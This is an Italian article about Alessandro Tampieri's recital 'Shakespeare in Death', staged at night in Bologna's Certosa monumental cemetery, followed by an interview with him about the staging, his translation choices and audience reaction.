PASEOS Shakespeare

Riscoprire i personaggi più celebri di Shakespeare tra i tesori della Certosa. Questo lo spirito che guida “Shakespeare in Death” recital dell’attore e regista Alessandro Tampieri, nel calendario estivo che da anni il Museo Civico del Risorgimento propone tra gli appuntamenti del Bè Bologna Estate. Un modo per riscoprire il patrimonio del Cimitero Monumentale fra le suggestioni notturne di arte e teatro. Nei 400 anni dalla morte del più celebre bardo inglese, un percorso in cinque tappe che guida lo spettatore tra le pagine di Riccardo III, Amleto, Giulio Cesare, Macbeth, Romeo e Giulietta. Testi dal valore universale, per una riflessione sempre attuale sul rapporto tra vita e morte. Una serata ricca di emozioni, per un pubblico sempre più numeroso.

Noi c’eravamo e abbiamo seguito l’evento per voi. In replica venerdì 26 agosto e sabato17 settembre

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INTERVISTA AD ALESSANDRO TAMPIERI

1) Innanzi tutto qual è stata la sfida di portare Shakespeare in un cimitero?

In un certo senso è stato un modo per riscoprire lo spirito del teatro elisabettiano, come luogo scenico innanzi tutto. Col pubblico attorno, più attivo e partecipe rispetto al teatro frontale cui siamo abituati. Uno spazio tra il chiuso e l’aperto, con la terra sotto i piedi e il cielo sopra agli occhi. Uno spazio dove trovare la magia del rapporto diretto fra attore e spettatore. Devo dire che in questo la Certosa Monumentale si è rivelata un palcoscenico ideale per Shakespeare quanto lo era stato per la “Discesa agli Inferi” dantesca.

2) Com’è stato passare da un lavoro su Dante a uno su Shakespeare?

Potrà sembrare banale ma Dante ha scritto un libro, Shakespeare no. La Divina Commedia nasce come testo. Ed è proprio in quell’uscire dalla pagina scritta che sta il rischio e insieme la libertà di una messinscena. Shakespeare invece ha composto per il teatro. Più che testi, pretesti. Copioni continuamente modificati e corretti, dopo il confronto con il pubblico, dopo la pratica delle repliche. Molte delle sue opere sono state pubblicate tardive, con versioni discordanti, senza nemmeno riportare il suo nome. Masolino D’Amico parla di “parola scenica”. Quella che nasce per essere detta su un palco dal vivo. Non letta su un foglio stampato.

3) Qualche esempio o modello cui ti sei ispirato?

Lavorare su Shakespeare vuole dire automaticamente confrontarsi anche con la visione shakespeariana di chi ci ha preceduto. Preferisco rispondere pensando a un’intervista in cui Peter Brook consigliava ai suoi attori di recitare Shakespeare sul palco come se una telecamera li stesse sempre riprendendo in primo piano. La lezione del buon cinema del XX° secolo che si integra con la tradizione teatrale e perché no, con le commistioni della danza, della musica, delle altre arti. Questo mi sembra un buon metodo di lavoro.

4) Qual è stata la difficoltà più grande incontrata?

Si dice che l’Amleto sia il testo più citato dopo la Bibbia. Non tutti lo hanno letto. Ma tutti ne hanno un’idea. Ecco entrare in scena e pensare di dover pronunciare “essere o non essere” è come fare un salto nel vuoto. Nel vuoto di una retorica che ormai non significa più nulla. Per me è stato importante ritrovare il senso dei versi, ritagliarmi addosso una traduzione che pur tradendo la metrica originale inglese restituisse la verità del testo. E allora le parole non solo tornano a riempire lo spazio, ma sembrano quasi guidarti loro sul palco.

5) Perché la scelta proprio di questi brani?

Confesso che ho voluto cimentarmi con i protagonisti che mi piacevano, osando anche scelte che non sarebbero state giuste o credibili in un allestimento integrale dell’opera. Cercare punti di contatto e di contrasto fra i diversi personaggi. Ma soprattutto fra me e loro. Mettere o forse trovare un po’ di me in ognuno di loro.

6) Come ha reagito il pubblico?

Shakespeare è un autore pop, nel senso alto del termine. Seppur a livelli diversi si rivolge a tutti. E la morte pure è un tema universale. Proporre “Shakespeare in Death” en un cementerio, di notte, significa amplificare queste suggestioni che vanno a toccare le corde di tutto il pubblico. Ma ciascuno viene colpito in modo diverso.

7) Per concludere, una domanda a Shakespeare?

Credo che gli chiederei quale storia racconterebbe oggi se dovesse scegliere un tema, uno solo, per parlare agli spettatori del 2016.

Per maggiori info:

www.museibologna.it/risorgimento/rassegne

http://agenda.comune.bologna.it/cultura/bolognaestate

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